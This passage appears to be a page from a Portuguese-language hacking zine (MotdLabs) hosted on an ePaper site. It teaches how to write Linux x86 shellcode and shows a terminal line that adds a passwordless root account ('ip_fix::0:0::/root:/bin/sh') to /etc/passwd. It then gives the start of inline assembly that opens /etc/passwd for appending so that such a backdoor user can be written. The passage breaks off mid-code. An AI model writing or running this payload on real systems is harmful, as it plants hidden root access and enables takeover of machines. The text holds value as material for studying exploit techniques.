Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
ip_fix::0:0::/root:/bin/sh<br />
root@motdlabs:~/IP_FIX/shellcode#<br />
Agora temos que converter para assembly, será um pouco trabalhoso<br />
mas nada impossível! Vamos ver nossa tabela primeiro.:<br />
%eax Nome Fonte %ebx %ecx %edx %esx %edi<br />
1 sys_exit kernel/exit.c int<br />
4 sys_write Arch/i386/kernel/process.c unsigned<br />
int<br />
5<br />
sys_open fs/open.c const<br />
char*<br />
char* size_t<br />
int int<br />
root@motdlabs:~/IP_FIX/shellcode# man open<br />
int open(const char *pathname, int flags, mode_t mode);<br />
[ %ebx ] [ %ecx ] [ %edx ]<br />
De posse dessas informações, vamos construir nosso código em<br />
assembly.<br />
shellcode/asmpasswd.c<br />
/*<br />
* Protótipo de shellcode em ASM.<br />
* Adiciona um usuário com premissões root.<br />
* by IP_FIX .<br />
* MotdLabs .<br />
* Compilação: # gcc -o asmpasswd asmpasswd.c<br />
*/<br />
#include <br />
main() {<br />
__asm__(<br />
"xor %eax, %eax \n" /* Zera %eax.<br />
*/<br />
"push $0x647773 \n" /* Movemos toda no string...<br />
*/<br />
"push $0x7361702F \n" /* ...para o stack.<br />
*/<br />
"push $0x6374652F \n" /* /etc/passwd<br />
*/<br />
"mov %esp, %ebx \n" /* Agora jogamos nossa string para %ebx:<br />
(const char *pathname,... */<br />
"mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...<br />
int flags,... */<br />
"mov $0x5, %al \n" /* System Call de open().<br />
*/<br />
"int $0x80 \n" /* Cai pro modo kernel.<br />
*/<br />
"mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %<br />
eax, agora precisamos tê-lo em %ebx. */<br />
"push $0x0A68732F \n" /* Movemos...<br />
86